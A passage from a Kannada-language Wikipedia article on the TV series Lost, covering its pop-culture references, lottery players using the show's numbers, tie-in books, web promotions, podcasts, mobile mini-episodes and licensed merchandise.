ಕಾಣಿಸಿಕೊಂಡಿತು.''[[Half-Life 2: Episode Two]]'' ಸಾಮಾನ್ಯವಾಗಿ ''ಲಾಸ್ಟ್'' ನಂಬರುಗಳಾದ 4,8,15 ಮತ್ತು 16ನೇ ಸಂಖ್ಯೆಯಲ್ಲಿ ''[[ಸ್ಕೇಟ್]]'' ವೀಡಿಯೋ ಗೇಮ್‌ಗಾಗಿ ಲೋಡಿಂಗ್ ಪರದೆಯ ಮೇಲೆ ಗುಇರುತಿಸಲಾಗಿತ್ತು. ವಿಶೇಷ ಸೇರಿಕೆಯಾಗಿ, ''[[ವರ್ಡ್ ಆಫ್ ವಾರ್‌ಕ್ರಾಫ್ಟ್‌]]'' ನಲ್ಲಿನ ದ್ವೀಪದಲ್ಲಿ ಶೋಲೇಝರ್ ಬೇಸಿನ್ ನಂಬರುಗಳಾದ 5,9,16,17,43ನ್ನು ಬರೆಯಲಾಗಿದೆ. (ಈ ಪ್ರತೀ ನಂಬರೂ ''ಲಾಸ್ಟ್'' ನಂಬರುಗಳಿಗಿಂತ ಒಂದು ಸಂಖ್ಯೆ ಹೆಚ್ಚಿನದಾಗಿದೆ.) [[ಕಾಮಿಕ್ ಪುಸ್ತಕ]]ಗಳಾದ ''[[ಕ್ಯಾಟ್‌ವುಮನ್]]'' ಮತ್ತು ''[[ದಿ ಥಿಂಗ್]]'' ; ನಿತ್ವರದಿಗಳಾದ ''[[ಮಾಂಟಿ]] '' ಮತ್ತು ''[[ಓವರ್ ದಿ ಹೆಡ್ಜ್]]'' , ವೆಬ್ ಕಾಮಿಕ್‌ಗಳಾದ ''[[ಪಿಲ್ಲ್‌ಡ್ ಹೈಯರ್ ಅಂಡ್ ಡೀಪರ್]]'' <ref>[http://www.phdcomics.com/comics/archive.php?comicid=766 ''ಪಿಲ್‌ಡ್ ಹೈಯರ್ ಅಂಡ್ ಡೀಪರ್'' : ಪ್ರೀವಿಯಸ್ಲೀ, ಆನ್ ''ಲಾಸ್ಟ್'' ] ಸಪ್ಟೆಂಬರ್ 27, 2006.</ref> ಮತ್ತು ''[[ಪೆನ್ನಿ ಆರ್ಕೇಡ್]]'' ಹಾಗೂ ಹ್ಯೂಮರ್ ನಿಯತಕಾಲಿಕೆಯಾದ ''[[ಮ್ಯಾಡ್]]'' : ಈ ಎಲ್ಲವೂ ಲಾಸ್ಟ್‌ನ ಪ್ರಭಾವವನ್ನು ಹೊಂದಿವೆ. ಸಮಾನವಾಗಿ, ಸರಣಿಯಲ್ಲಿನ ಥೀಮ್ಸ್ ಮತ್ತು ಶೀರ್ಷಿಕೆ ಗೀತೆಗಳನ್ನು ಕೆಲವು ರಾಕ್ ಬ್ಯಾಂಡ್‌ಗಳು ಹಾಡುಗಳನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿದವು. ಅವುಗಳೆಂದರೆ, [[ಮೊನೀನ್]] ("ಡೋಂಟ್ ಎವರ್ ಟೆಲ್ ಲಾಕ್ ವಾಟ್ ಹಿ ಕಾಂತ್ ಡು"), [[ಸೆನ್ಸಸ್ ಫೇಲ್]] ("ಲಾಸ್ಟ್ ಅಂಡ್ ಫೌಂಡ್" ಮತ್ತು "ಆಲ್ ದಿ ಬೆಸ್ಟ್ ಕೌಬಾಯ್ಸ್ ಹೇವ್ ಡ್ಯಾಡಿ ಇಶ್ಯೂಸ್") ಮತ್ತು ಗ್ಯಾ[[ಟ್ಸ್‌ಬಿ ಅಮೆರಿಕನ್ ಡ್ರೀಮ್]]("ಯು ಆಲ್ ಎವೆರಿಬಡಿ" ಮತ್ತು ಸ್ಟೇಶನ್ 5: ದಿ ಪೀಯರ್ಲ್") ಕಂತಿನ ನಂತರ "[[ನಂಬರ್ಸ್‌ನ್ನು]]" ಮಾರ್ಚ್ 2, 2005ರಲ್ಲಿ ಪ್ರಸಾರ ಮಾಡಲಾಯಿತು. ಹಲವಾರು ಜನರು ವಿಶೇಷ ಸಂಖ್ಯೆಗಳಲ್ಲಿ ([[4,8,15,23 ಮತ್ತು 42]]) ಲಾಟರಿ ಪ್ರವೇಶ ಮಡಿದರು ''[[ಪಿಟ್ಸ್‌ಬರ್ಗ್ ಟ್ರಿಬ್ಯೂನ್ ರಿವ್ಯೂ]]'' ನ ಪ್ರಕಾರ ಮೂರು ದಿನದ ಒಳಗೆ ಸ್ಥಳೀಯ ಆಟಗಾರರಿಂದ ಸುಮಾರು 500ಕ್ಕಿಂತಲೂ ಹೆಚ್ಚು ಬಾರಿ ಈ ನಂಬರುಗಳನ್ನು ಪ್ರಯತ್ನಿಸಲಾಗಿತ್ತು.<ref>{{cite news |url=http://pittsburghlive.com/x/tribune-review/opinion/columnists/whispers/s_345213.html |title=No winning ticket found with ''Lost'' numbers. |publisher=''Pittsburgh Tribune-Review'' |date=2005-06-19 |access-date=2009-12-17 |archive-date=2005-12-27 |archive-url=https://web.archive.org/web/20051227181718/http://pittsburghlive.com/x/tribune-review/opinion/columnists/whispers/s_345213.html |url-status=dead }}</ref> ಇದೇ ಸಮಯದಲ್ಲಿ, [[ಮಿಶಿಗನ್‌]]ನಲ್ಲಿ 200ಕ್ಕಿಂತ ಹೆಚ್ಚು ಜನರು [[ಮೆಗಾ ಮಿಲಿಯನ್]] ಲಾಟರಿಯಲ್ಲಿ<ref>{{cite news |last=Rook |first=Christine |url=http://www.lsj.com/apps/pbcs.dll/article?AID=/20050305/NEWS01/503050331/1001/news |title=''Lost'' numbers come up losers. |publisher=''[[Lansing State Journal]]'' |date=2005-03-05 |access-date=2021-08-10 |archive-date=2008-03-07 |archive-url=https://web.archive.org/web/20080307003023/http://www.lsj.com/apps/pbcs.dll/article?AID=%2F20050305%2FNEWS01%2F503050331%2F1001%2Fnews |url-status=dead }}</ref> ಮತ್ತು ಅಕ್ಟೋಬರ್ ವೇಳೆಗೆ ಸಾವಿರ ಜನರು ಬಹುರಾಜ್ಯದ [[ಪವರ್‌ಬಾಲ್]] ಲಾಟರಿಗಾಗಿ ಈ ಸಂಖ್ಯೆಗಳನ್ನು ಪ್ರಯತ್ನಿಸಿದ್ದಾರೆ.<ref>{{cite news |last=Serpe |first=Gina |url=http://www.eonline.com/News/Items/0,1,17621,00.html |title=''Lost'' Numbers Lose Millions. |publisher=Eonline.com |date=2005-10-20 |quote=Eva Robelia, spokeswoman for the [[Wisconsin Lottery]], says more than 840 people across five states played the TV-inspired numbers, including 266 hopeful Hurleys in [[New Hampshire Lottery|New Hampshire]] |archiveurl=https://web.archive.org/web/20051023005533/http://www.eonline.com/News/Items/0,1,17621,00.html |archivedate=2005-10-23 |access-date=2009-12-17 |url-status=live }}</ref><ref>{{cite news |title=In record Powerball, some to bank on bad luck |last=Weaver |first=Teresa |url=http://columbiamissourian.com/news/story.php?ID=16605 |publisher=''[[Columbia Missourian]]'' |quote=For the Powerball drawing on Oct. 12, 461 people selected the six numbers within Missouri, said Susan Goedde of the [[Missouri Lottery]]. If you add those to the 204 tickets in [[Kansas Lottery|Kansas]], 117 in Louisiana, 134 in [[Iowa Lottery|Iowa]] and the rest of the 25 states included in the Powerball take, you end up with a lot of people sharing the winnings. |date=2005-10-19 |access-date=2009-12-17 |archive-date=2005-12-20 |archive-url=https://web.archive.org/web/20051220102652/http://columbiamissourian.com/news/story.php?ID=16605 |url-status=dead }}</ref> == ಇತರೆ ಮಾಧ್ಯಮಗಳು == ಟೆಲೆವಿಷನ್ ಪ್ರಸಾರವನ್ನು ಹೊರತುಪಡಿಸಿ ಲಾಸ್ಟ್‌ನ ವ್ಯಕ್ತಿತ್ವಗಳು ಮತ್ತು ವ್ಯವಸ್ಥೆಗಳು ಇನ್ನಿತರ ಅಧಿಕೃತ ಒಡಂಬಡಿಕೆಗಳಾದ, ಮುದ್ರಣ ಮಾಧ್ಯಮ, ಅಂತರ್ಜಾಲ ಮತ್ತು ಮೊಬೈಲ್ ಪೋನ್‌ಗಳಿಗಾಗಿನ ಸಣ್ಣ ವೀಡಿಯೋಗಳಲ್ಲೂ ''ಲಾಸ್ಟ್ '' ಕಾಣಿಸಿಕೊಂಡಿದೆ. ಎಬಿಸಿಯ ಮೂಲ ಕಂಪನಿಯಾದ [[ಡಿಸ್ನಿ]]ಯ [[ಹೇಪ್ರಿಯನ್ ಬುಕ್ಸ್]] ಪ್ರಕಾಶನದಿಂದ ಮುರು [[ಕಾದಂಬರೀಕರಣವು]] ಹೊರಬಂದಿದೆ. ಅವುಗಳೆಂದರೆ, ''ಎಂಡೇಂಜರ್ಡ್ ಸ್ಪೀಸೀಸ್'' (ಐಎಸ್‌ಬಿಎನ್ 0-7868-9090-8)ಮತ್ತು ''ಸೀಕ್ರೇಟ್ ಐಡೆಂಟಿಟಿ'' (ಐಎಸ್‌ಬಿಎನ್ 0-7868-9091-6) ಇವೆರಡೂ ಕಾತಿ ಹಾಪ್ಕಾ ಅವರಿಂದ ಮತ್ತು ಫ್ರಾಂಕ್ ಪಾಂಪ್ಸನ್ ಅವರಿಂದ ''ಸೈನ್ಸ್ ಆಫ್ ಲೈಫ್'' (ಐಎಸ್‌ಬಿಎನ್ 0-7868-9092-4) ಇದಕ್ಕೆ ಸೇರಿಕೆಯಾಗಿ, ಓಶಿಯಾನಿಕ್ ಫ್ಲೈಟ್ 815ರಲ್ಲಿ ಎಬಿಸಿ ಮಾರ್ಕೆಟಿಂಗ್ ವಿಭಾಗದ ಮೂಲಕ ಪ್ರಯಾಣಿಕನಾಗಲು ಬಯಸಿದ್ದ ಕಟ್ಟುಕಥೆಯ ಲೇಖಕ "[[ಗ್ಯಾರಿ ಟ್ರೂಪ್]]", [[ಉಪಕಥೆಯಾದ]] ಲಾರೆನ್ಸ್ ಶೇಮ್ಸ್‌ರಿಂದ<ref>{{cite news | last=Zeitchik | first=Steven | url=http://www.variety.com/article/VR1117945504?categoryId=14&cs=1 | title=Inside Move: It's a Shames | publisher=''[[Daily Variety]]'' | date=2006-06-18 | accessdate=2006-06-19}}</ref> ಬರೆಯಲ್ಪಟ್ಟ ''ಬ್ಯಾಡ್ ಟ್ವೈನ್'' (ಐ‌ಎಸ್‌ಬಿಎನ್ 1-4013-0276-9) ಪುಸ್ತಕವನ್ನು ಹೈಪೀರಿಯನ್ ಪ್ರಕಾಶಿಸಿದೆ. ಹಲವು ಅನಧಿಕೃತ ಪುಸ್ತಕಗಳು, ಪ್ರದರ್ಶನಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ ಬಿಡುಗದೆಯಾದವು. ನಿಕ್ಕಿ ಸ್ಟಫ್ಫೊರ್ಡ್ ಬರೆದ ''ಫೈಂಡಿಂಗ್ ಲಾಸ್ಟ್: ದಿ ಅನ್‌ಅಫಿಶಿಯಲ್ ಗೈಡ್'' (ಐಎಸ್‌ಬಿಎನ್ 1-55022-743-2) ಪುಸ್ತಕವು [[ಇಸಿಡಬ್ಲ್ಯೂ ಪ್ರೆಸ್‌]]ನಿಂದ ಪ್ರಕಟಿತವಾಯಿತು ಮತ್ತು ಪ್ರದರ್ಶನಕ್ಕೆ ಹೊಸಬರಾದವರಿಗೆ ಮತ್ತು ಪ್ರದರ್ಶನದ ಅಭಿಮಾನಿಗಳಿಗೆ ವಿವರಣೆಯನ್ನು ಒದಗಿಸಿತು. ''ವಾಟ್ ಕೆನ್ ಬಿ ಫೌಂಡ್ ಇನ್ ಲಾಸ್ಟ್ ?'' (ಐಎಸ್‌ಬಿಎನ್ 0-7369-2121-4) ಜಾನ್ ಅಂಕೆರ್‌ಬರ್ಗ್ ಮತ್ತು ದಿಲ್ಲೋನ್ ಬುರ್ರೋರಿಂದ ಬರೆಯಲ್ಪಟ್ಟಿದೆ. ಹಾರ್ವೆಸ್ಟ್ ಹೌಸ್‌ನಿಂದ ಪ್ರಕಟಿತಗೊಂಡ ಈ ಮೊದಲ ಪುಸ್ತಕವು ಕ್ರಿಶ್ಚಿಯನ್ನರ ದೃಷ್ಟಿಕೋನದಲ್ಲಿ ಅಧ್ಯಾತ್ಮಿಕ ವಿಚಾರಗಳ ಸಂಶೋಧನೆಗೆ ಮೀಸಲಾಗಿತ್ತು. ''ಲಿವಿಂಗ್ ಲಾಸ್ಟ್: ವೈ ವಿ ಆರ್ ಆಲ್ ಸ್ಟಕ್ ಟು ದಿ ಐಲ್ಯಾಂಡ್'' (ಐಎಸ್‌ಬಿಎನ್ 1891053027) ಪುಸ್ತಕವು ಜೆ.ವೂಡ್ ಬರೆದಿದ್ದಾರೆ<ref>[http://www.gcpress.com/lost/ ವುಡ್, ಜೆ. ''ಲಿವಿಂಗ್ ಲಾಸ್ಟ್: ವಯ್ ವಿ’ವರ್ ಆಲ್ ಸ್ಟಕ್ ಆನ್ ದಿ ಐಲ್ಯಾಂಡ್'' . ] {{Webarchive|url=https://web.archive.org/web/20080804000429/http://www.gcpress.com/lost/ |date=2008-08-04 }}[http://www.gcpress.com/lost/ ಜಿಸಿಪ್ರೆಸ್.ಕಾಮ್.] {{Webarchive|url=https://web.archive.org/web/20080804000429/http://www.gcpress.com/lost/ |date=2008-08-04 }}</ref> ಮತ್ತು ಗ್ಯಾರೆಟ್ ಕೌಂಟಿ ಪ್ರೆಸ್ ಪ್ರಕಟಿಸಿದೆ. ಇದು ಸರಣಿಯ ಸಾಂಸ್ಕೃತಿಕ ವಿಮರ್ಶೆಯನ್ನು ಮೂಲವಾಗಿಟ್ಟುಕೊಂಡು ಬರೆದ ಮೊಟ್ಟಮೊದಲನೆಯ ಕೃತಿ. ಭಯೋತ್ಪಾದನೆ, ಮಾಹಿತಿ ಮತ್ತು ಯುದ್ಧದ ಪರ್ಯಾಯ ಅನುಭವಗಳ ಜೊತೆಗೆ ವಿಶೇಷ ಸಂಬಧವನ್ನು ಹೊಂದಿರುವುದನ್ನು ಮತ್ತು ಪಾತ್ರವು ಮಾತನಾಡುತ್ತಿರುವಂತೆಯೇ ವೀಕ್ಷಕರು ಕಾರ್ಯಪೃವೃತ್ತರಾಗುತ್ತರೆ ಎಂಬುದನ್ನು ವಾದಿಸಿತು. [[ಪಾವೆಲ್ಸ್ ಬುಕ್‌]]ಗಾಗಿ ಮೂರನೇ ಸೀಸನ್ನಿನ ಎರಡನೇ ಭಾಗದ ಸಮಯದಲ್ಲಿ ಕೃತಿಕಾರರು ಬ್ಲಾಗ್ ಅಂಕಣವನ್ನೂ<ref> [http://www.powells.com/blog/?author=104 ''ಲಾಸ್ಟ್ '' ಬ್ಲಾಗ್ ಬೈ ಜೆ. ವುಡ್ - ಪೊವೆಲ್ಸ್.ಕಾಮ್]</ref> ಬರೆದಿದ್ದಾರೆ. ಪ್ರತೀ ಪೋಸ್ಟ್ ಕೂಡಾ ಹಿಂದಿನ ಕಂತಿನಲ್ಲಿನ ಸಾಹಿತ್ಯಿಕ, ಐತಿಹಾಸಿಕ, ಸೈದ್ಧಾಂತಿಕ ಮತ್ತು ಕಥೆ ಹೇಳುವ ಸಂಬಂಧಗಳನ್ನು ಚರ್ಚಿಸುತ್ತದೆ. ಕಥೆಯ ಹಿನ್ನೆಲೆಯನ್ನು ಬೆಳೆಸುವುದಕ್ಕೆ ಅಂತರ್ಜಾಲದ ವ್ಯಾಪಕವಾದ ಬಳಕೆಯನ್ನು ಪ್ರದರ್ಶನದ ಜಾಲಗಳು ಮತ್ತು ನಿರ್ಮಾಪಕರು ಮಾಡಿಕೊಂಡರು. ಉದಾಹರಣೆಗೆ, ಮೊದಲನೇ ಸೀಸನ್ನಿನಲ್ಲಿ, ಸರಣಿಗಾಗಿ ಎಬಿಸಿ ಅಂತರ್ಜಾಲ ತಾಣದಲ್ಲಿ ವಿಮಾನದಿಂದ ಪಾರಾಗಿ ಉಳಿದಿರುವ ಅನಾಮಿಕನ "ಜಾನೆಲ್ ಗ್ರ್ಯಾಂಗರ್" ಎಂಬ ಕಥಾ ದಿನಬರಹವನ್ನು ಪ್ರದರ್ಶಿಸಲಾಯಿತು. ಇದೇರೀತಿ, ಕಥೆ [[ಓಶಿಯಾನಿಕ್ ಏರ್‌ಲೈನ್ಸ್‌]] ಕಥೆಯ ಅಂತರ್ಜಾಲದ ಒಡಂಬಡಿಕೆಯು ಮೊದಲ ಸೀಸನ್ನಿನ ಸಮಯದಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿತು.ಇದು ಕೆಲವು [[ಈಸ್ಟರ್ ಎಗ್ಸ್]] ಮತ್ತು ಪ್ರದರ್ಶನದ ಬಗೆಗಿನ ಸುಳಿವುಗಳನ್ನು ಹೊಂದಿತ್ತು. ಹ್ಯಾನ್ಸೋ ಫೌಂಡೇಶನ್‌ನ ಬಗ್ಗೆ "[[ಓರಿಯೆಂಟೇಶನ್]]" ಪ್ರಸಾರವಾದ ಮೇಲೆ ಇನ್ನೊಂದು ಅಂತರ್ಜಾಲ ಒಡಂಬಡಿಕೆಯು ಬಿಡುಗಡೆಗೊಂಡಿತು. ಯುಕೆಯಲ್ಲಿನ, ಕೆಲವು ಪಾತ್ರಗಳ ಹಿಂದಿನ ಕಥಾನಕಗಳನ್ನು ಒಳಗೊಂಡ "ಲಾಸ್ಟ್ ಅನ್‌ಟೋಲ್ಡ್" ಬಿಡುಗಡೆಯಾಯಿತು. ಇದು [[ಚಾನೆಲ್ 4]]ರ ''ಲಾಸ್ಟ್ '' ಅಂತರ್ಜಾಲದ ಭಾಗವಾಗಿದೆ. ನವೆಂಬರ್ 2005ರವರೆಗೆ ಎಬಿಸಿಯು ಅಧಿಕೃತ [[ಪೋಡ್‌ಕಾಸ್ಟ]]ನ್ನು, ಸರಣಿಯ ಬರಹಗಾರರು ಮತ್ತು ಕಾರ್ಯನಿರ್ವಾಹಕ ನಿರ್ಮಾಪಕರಾದ ಡಮನ್ ಲಿಂಡೆಲಾಫ್ ಮತ್ತು ಕಾರ್ಲ್‌ಟನ್ ಕ್ಯೂಸ್ ನಡೆಸುತ್ತಿದ್ದರು. ವಾರದ ಕಂತುಗಳ ಬಗ್ಗೆ ಚರ್ಚೆಯನ್ನು, ಪಾತ್ರಧಾರಿಗಳೊಡನೆ ಸಂದರ್ಶನ ಮತ್ತು ವೀಕ್ಷಕರಿಂದ ಪ್ರಶ್ನೆಗಳನ್ನು ಪೋಡ್‌ಕಾಸ್ಟ್ ವಿಶೇಷವಾಗಿ ಹೊಂದಿರುತ್ತಿತ್ತು.<ref> [http://abc.go.com/primetime/lost/index?pn=podcast ''ಲಾಸ್ಟ್'' :ಪಾಡ್‌ಕಾಸ್ಟ್ಸ್ - ಎಬಿಸಿ.ಕಾಮ್]</ref> [[ಸ್ಕೈ ಒನ್]] ಕೂಡ ತನ್ನ ಅಂತರ್ಜಾಲ ತಾಣದಲ್ಲಿ [[ಇಯಾನ್ ಲೀ]]ಯವರಿಂದ ಆರಂಭಿಸಿತು. ಯುಕೆಯಲ್ಲಿ, ಪ್ರಸಾರವಾದ ಪ್ರತೀ ಕಂತಿನ ನಂತರ ಇದರಲ್ಲಿ ವಿಮರ್ಶಿಸಲಾಗುತ್ತಿತ್ತು.<ref>{{Cite web |url=http://www.skyoneonline.co.uk/lost/podcasts.html |title=''ಲಾಸ್ಟ್'' : ಪಾಡ್‌ಕಾಸ್ಟ್ಸ್ - ಸ್ಕೈಒನ್‌ಆನ್‌ಲೈನ್.ಕೊ.ಯುಕೆ |access-date=2009-12-17 |archive-date=2008-10-24 |archive-url=https://web.archive.org/web/20081024010442/http://www.skyoneonline.co.uk/lost/podcasts.html |url-status=dead }}</ref> ''[[ಲಾಸ್ಟ್ ಎಕ್ಸ್‌ಪೀರಿಯನ್ಸ್‌]]'' ನಲ್ಲಿ ಓನ್‌ಲೈನ್ ಸಾಮ್ರಾಜ್ಯವು ಕೊಳ್ಳೆಹೊಡೆಯಲ್ಪಟ್ಟಿತು. ಇದು ಅಂತರ್ಜಾಲ ಆಧಾರಿತ ರಿಯಾಲಿಟಿ ಗೇಮ್ ಆಗಿದ್ದು ಚಾನೆಲ್ 7 (ಆಸ್ಟ್ರೇಲಿಯಾ), ಎಬಿಸಿ (ಅಮೆರಿಕಾ) ಮತ್ತು ಚಾನೆಲ್ 4 (ಯುಕೆ)ಯು ನಿರ್ಮಿಸಿದ ಈ ಕಾರ್ಯಕ್ರಮವು ಮೇ 2006ರಲ್ಲಿ ಆರಂಭಗೊಂಡಿತು. ಈ ಆಟವು ಐದು ಹಂತದ ಪರ್ಯಾಯ ಕಥಾಸರಣಿಯನ್ನು ಹೊಂದಿದ್ದು, ಆರಂಭದಲ್ಲಿ ಹ್ಯಾನ್ಸೋ ಫೌಂಡೇಶನ್ ಇದರಲ್ಲಿ ತೊದಗಿಇಸ್ಕೊಂಡಿತ್ತು.<ref>{{cite news | url=http://www.disneyabctv.com/datvg_press/dispDNR.html?id=072506_12 | title=Global interactive phenomenon, Lost Experience, to reveal meaning behind mysterious numbers on international hit TV show ''Lost'' | publisher=ABC Press Release (Internet Archive) | date=2006-07-25 | accessdate=2007-02-20 | archive-date=2007-02-20 | archive-url=https://web.archive.org/web/20070220211850/http://www.disneyabctv.com/datvg_press/dispDNR.html?id=072506_12 | url-status=bot: unknown }}</ref> [[ಚಿತ್ರ:Jackfigurelost.jpg|right|thumb| ಮೆಕ್ ಫರ್ಲೆನ್ ಟಾಯ್ಸ್‌ನಿಂದ ಜ್ಯಾಕ್ ಆ‍ಯ್‌ಕ್ಷನ್ ಫಿಗರ್]] ಸಣ್ಣ ಮಿನಿ ಕಂತುಗಳು ("[[ಮೋಬಿಸೋಡ್ಸ್]]") ''ಲಾಸ್ಟ್ ವೀಡಿಯೋ ಡಯರೀಸ್'' ಎಂದು ಕರೆಯಲ್ಪಟ್ಟವು. ವಿ-ಕ್ಯಾಟ್ ವ್ಯವಸ್ಥೆಯ ಮೂಲಕ [[ವೆರಿಝನ್ ವೈರ್‌ಲೆಸ್]] ಚಂದಾದಾರರ ವೀಕ್ಷಣೆಗೆ ಮೂಲದಲ್ಲಿ ನಿಗದಿ ಪಡಿಸಲಾಗಿತ್ತು ಆದರೆ ಒಪ್ಪಂದದ ಘರ್ಷಣೆಗಳಿಂದಾಗಿ ಇದು ತಡವಾಯಿತು.<ref>{{cite news | first=Andrew and Jesse Hiestand | last=Wallenstein | title=ABC, unions reach deal on cell phone TV shows | publisher=[[Reuters]] | date=2006-04-25 | accessdate=2006-04-25}}</ref><ref>{{cite news | url=http://www.disneyabctv.com/datvg_press/dispDNR.html?id=042406_14 | title=Disney-ABC Television Group's Touchstone Television Finalizes Agreements to Partner with Guilds on "''Lost'' Video Diaries," Original Mini-Episodes Inspired by the Emmy Award-Winning Series for Mobile Distribution | publisher=ABC Press Release (Internet Archive) | date=2006-04-24 | accessdate=2006-10-30 | archive-date=2006-10-30 | archive-url=https://web.archive.org/web/20061030135819/http://www.disneyabctv.com/datvg_press/dispDNR.html?id=042406_14 | url-status=bot: unknown }}</ref> ಮೋಬಿಸೋಡ್‌ಗಳು ಮರುನಾಮಕರಣಗೊಂಡು ''[[Lost: Missing Pieces]]'' ನವೆಂಬರ್ 7, 2007ರಿಂದ ಜನವರಿ 28, 2008ರವರೆಗೆ ಪ್ರಸಾರವದವು. === ಅನುಮತಿಸಲ್ಪಟ್ಟ ಮಾರಾಟ === ಆಟಿಕೆಗಳು ಮತ್ತು ಆಟಗಳಂತಹ ಇತರ ಸರಣಿ ಮೂಲದ ಪೋಡ್‌ಕಾಸ್ಟ್‌ಗಳು, ಕಾದಂಬರಿ ಒಡಂಬಡಿಕೆಗೆ ಹೆಚ್ಚಿನ ಸೇರಿಕೆಯಾಗಿ ಬಿಡುಗಡೆಗೆ ಅನುಮತಿಸಲ್ಪಟ್ಟವು. [[ಗೇಮ್ ಕನ್ಸೋಲ್‌]]ಗಳಿಗೆ ಮತ್ತು ಮನೆಯ ಗಣಕಯಂತ್ರಗಳಿಗೆ<ref> [http://www.ubisoftgroup.com/index.php?p=59&amp;art_id=60&amp;vars=Y29tX2lkPTMyNA%3D%3D ಯುಬಿಸಾಫ್ಟ್ ಅಂಡ್ ಟಚ್‌ಸ್ಟೋನ್ ಟೀಮ್ ಅಪ್ ಟು ಕ್ರಿಯೆಟ್ ''ಲಾಸ್ಟ್'' ವಿಡಿಯೋ ಗೇಮ್."] Ubisoftgroup.com, May 22, 2006. 2007ರ ಮಾರ್ಚ್‌ 23ರಂದು ತೆಗೆದುಕೊಳ್ಳಲಾಗಿದೆ.</ref> [[ಯುಬಿಸಾಫ್ಟ್‌]]ನಿಂದ ನಿರ್ಮಿಸಲ್ಪಟ್ಟ ವೀಡಿಯೋ ಗೇಮ್ ''[[Lost: Via Domus]]'' ಸರಾಸರಿ ವಿಮರ್ಶೆಯೊಂದಿಗೆ ಬಿಡುಗಡೆ ಮಾಡಿದವು. ಇದೇವೇಳೆ [[ಗೇಮ್‌ಲಾಫ್ಟ್]] ಕಂಪನಿಯು [[ಐಪಾಡ್‌]]ಗಳಿಗೆ ಮತ್ತು ಮೊಬೈಲ್ ಪೋನ್‌ಗಳಿಗೆ ''ಲಾಸ್ಟ್'' ಆಟವನ್ನು ಅಭಿವೃದ್ಧಿಗೊಳಿಸಿತು.<ref>[http://wireless.ign.com/articles/725/725598p1.html "ಗೇಮ್‌ಲಾಫ್ಟ್ಸ್ ಲಾಸ್ಟ್ ಹೌಸ್‌ವೈವ್ಸ್."] {{Webarchive|url=https://web.archive.org/web/20120119054816/http://wireless.ign.com/articles/725/725598p1.html |date=2012-01-19 }} ನಿಸ್ತಂತು ಐಜಿಎನ್.ಕಾಮ್, ಆಗಸ್ಟ್ ೧೪, 2006. 2007ರ ಮಾರ್ಚ್‌ 23ರಂದು ತೆಗೆದುಕೊಳ್ಳಲಾಗಿದೆ.</ref> ''ಲಾಸ್ಟ್'' ಬೋರ್ಡ್ ಆಟವನ್ನು ಅಗಸ್ಟ್ 7, 2006ರಂದು [[ಕಾರ್ಡಿನಲ್ ಗೇಮ್ಸ್]] ಬಿಡುಗಡೆಮಾಡಿತು.<ref>[http://www.lostboardgame.com ''ಲಾಸ್ಟ್'' :ದಿ ಬೋರ್ಡ್ ಗೇಮ್ - ಲಾಸ್ಟ್‌ಬೋರ್ಡ್‌ಗೇಮ್.ಕಾಮ್]</ref> ಒಂದರ ನಂತರ ಒಂದನ್ನು ಇಟ್ಟ ಕೂಡಲೆ ''ಲಾಸ್ಟ್‌'' ನ ಎಲ್ಲ ಪುರಾಣಶಾಸ್ತ್ರಗಳ ಸುಳಿವುಗಳನ್ನು ಬಿಡಿಸುವ ನಾಲ್ಕು 1000-ಪೀಸ್ ಜಿಗ್ಸಾವ್ ಪಝಲ್ಸನ ಸರಣಿಯನ್ನು("ದಿ ಹ್ಯಾಚ್", "ದಿ ನಂಬರ್ಸ್", "ದಿ ಅದರ್ಸ್" ಮತ್ತು "ಬಿಫೋರ್ ದ ಕ್ರ್ಯಾಶ್") ಟಿಡಿಸಿ ಗೇಮ್ಸ್ ರಚಿಸಿದೆ. ಇಂಕ್‌ವರ್ಕ್ಸ್ ಎರಡು ''ಲಾಸ್ಟ್'' [[ಟ್ರೇಡಿಂಗ್ ಕಾರ್ಡ್ಸ್‌]] ಗುಚ್ಛವನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿದ ಮತ್ತು ''ಲಾಸ್ಟ್:ರೆವೆಲೇಶನ್ಸ್'' ಸೆಟೆಂದು ಬಿಡುಗಡೆಯಲ್ಲಿ ಹೇಳಲ್ಪಟ್ಟಿದೆ.<ref> [http://inkworks.com/products/lost/lost1preview/lost1set.html ''ಲಾಸ್ಟ್'' :ಪ್ರಿವ್ಹ್ಯೂ ಸೆಟ್ ಟ್ರೇಡಿಂಗ್ ಕಾರ್ಡ್ಸ್ - ಇಂಕ್‌ವರ್ಕ್ಸ್.ಕಾಮ್]</ref> ಮೇ, 2006ರಲ್ಲಿ [[ಮೆಕ್ ಫರ್ಲೇನ್ ಟಾಯ್ಸ್]] ಕಂಪನಿಯು ಪಾತ್ರಗಳ [[ಚಲನೆಯ ಅಂಕಿಅಂಶ]]ಗಳಿಗೆ<ref>{{cite news | first=William | last=Keck | url=http://www.usatoday.com/life/television/news/2006-05-23-lost-toys_x.htm | title=These characters are toying with us | publisher=''USA Today'' | date=2006-05-23 | accessdate=2006-06-20}}</ref> ಹಿಂಪಡೆಯುವ ಗೆರೆಯ ಮೊದಲ ಸರಣಿಯನ್ನು ನವೆಂಬರ್ 2006ರಂದು ಬಿಡುಗಡೆ ಮಾಡಿತು. ಜೊತೆಗೆ ಎರಡನೇ ಸರಣಿನನ್ನು ಜುಲೈ 2007ರಲ್ಲಿ ಬಿಡುಗಡೆ ಮಾಡಿತು. ಇನ್ನೂಮುಂದುವರಿದು, ಎಬಿಸಿಯು ಅಸಂಖ್ಯಾತ ''ಲಾಸ್ಟ್'' ಮಾರಾಟ ವಸ್ತುಗಳನ್ನು ತನ್ನ ಓನ್‌ಲೈನ್ ಮಳಿಗೆಯಲ್ಲಿ ಮಾರಾಟಕ್ಕೆ ಇಟ್ಟಿತು. ಇದರಲ್ಲಿ ಬಟ್ಟೆಗಳು, ಆಭರನಗಳು ಮತ್ತು ಇತರ ಸಂಗ್ರಾಹ್ಯಗಳಿದ್ದವು.<ref> [http://abctvstore.seenon.com/index.php?v=lost ಲಾಸ್ಟ್: ಅಪಿರಿಯಲ್, ಕಲೆಕ್ಟಬಲ್ಸ್, ಜ್ಯುವೆಲ್‌ರಿ, ಗೇಮ್ಸ್ &amp; ಮೋರ್ - ಆಫಿಶಿಯಲ್ ಎಬಿಸಿ ಸ್ಟೋರ್]</ref> == ಉಲ್ಲೇಖಗಳು == {{Reflist|2}} == ಹೊರಗಿನ ಕೊಂಡಿಗಳು == {{Commons|:Category:Lost (television programme)|Lost}} {{Spoken Wikipedia-2|2006-08-24|Lost (TV series) Part 